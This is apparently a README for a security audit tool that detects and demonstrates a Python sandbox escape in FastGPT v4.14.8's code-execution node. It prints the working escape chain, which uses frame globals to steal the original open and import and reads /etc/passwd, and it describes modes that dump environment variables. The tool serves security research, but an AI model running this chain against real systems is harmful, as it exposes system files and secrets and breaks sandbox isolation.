
Audit-Tool für die FastGPT-Python-Sandbox-Escape-Kette (CVE-2026-32128-bezogen, v4.14.8-Inspektionskette)
Audit-Tool für die Python-Sandbox-Escape-Kette von FastGPT.
Der Knoten „Codeausführung“ im FastGPT-Workflow übergibt den Python-Code des Benutzers an eine separate Sandbox zur Ausführung. Die Sandbox-Schutzmaßnahmen von v4.14.8 bestehen aus einer reinen Python-Schicht (Modul-Blacklist + AST-Prüfung + open-Guard + import-Guard). Dieses Tool erkennt und verifiziert die Umgehungsketten dieser Schutzmaßnahmen:
import inspect # inspect 不在 _DANGEROUS_STDLIB 黑名单
g = inspect.currentframe().f_back.f_globals # AST 检查不拦单下划线帧属性
f = g['_original_open'](https://github.com/qianlijaingshan/fastgpt-sandbox-audit/blob/main/%27/etc/passwd%27) # 模块全局暴露原始 open 引用
imp = g['_original_import'] # 模块全局暴露原始 __import__ 引用
| Version | Architektur | Status |
|---|---|---|
| v4.14.7 | NestJS + Fastify + seccomp | CVE-2026-32128 (fcntl remappt stdout) |
| v4.14.8 | Bun + Hono + worker.py | Diese Escape-Kette, vollständiger Escape (beliebige Dateien im Container + laterale Netzwerkbewegung) |
| main | Go native chroot + seccomp | Die Python-Ebene wird ebenfalls umgangen; chroot begrenzt als letzte Barriere auf den Container |
Nur Standardbibliothek, Python 3.8+.
# 静态检测 worker.py 防护配置(不执行 payload)
python3 fastgpt-sandbox-audit.py --check
# 对真实 worker.py 跑完整逃逸链(读 /etc/passwd + 写文件)
python3 fastgpt-sandbox-audit.py --exploit
# 导出环境变量(前 20 个 key)
python3 fastgpt-sandbox-audit.py --dump
# 指定 worker.py 路径
python3 fastgpt-sandbox-audit.py --worker /path/to/worker.py --exploit
--exploit benötigt eine echte worker.py (der Python-Worker-Prozess der FastGPT-v4.14.8-Sandbox). Standardmäßig wird ./worker.py aus dem aktuellen Verzeichnis gelesen und der Payload über das eigene stdin-JSON-Protokoll ({"type":"init"} → {"type":"task","code":...}) übermittelt.
Die Ausgabe des Modus --check:
=== fastgpt-sandbox-audit: 防护配置检查 ===
[风险] inspect 不在 _DANGEROUS_STDLIB 黑名单 -> 可 import
[风险] AST 检查未拦截 f_globals 属性
[风险] 模块全局暴露 _original_open -> 可被 f_globals 窃取
[风险] 模块全局暴露 _original_import -> 可被 f_globals 窃取
[提示] worker.py 无 seccomp (4.14.8+ 纯 Python 防护)
Dieses Tool dient ausschließlich der Sicherheitsforschung und Sicherheitstests im autorisierten Rahmen. Tests an fremden Systemen ohne Autorisierung können gegen Gesetze und Vorschriften verstoßen; die damit verbundene Verantwortung liegt beim Benutzer.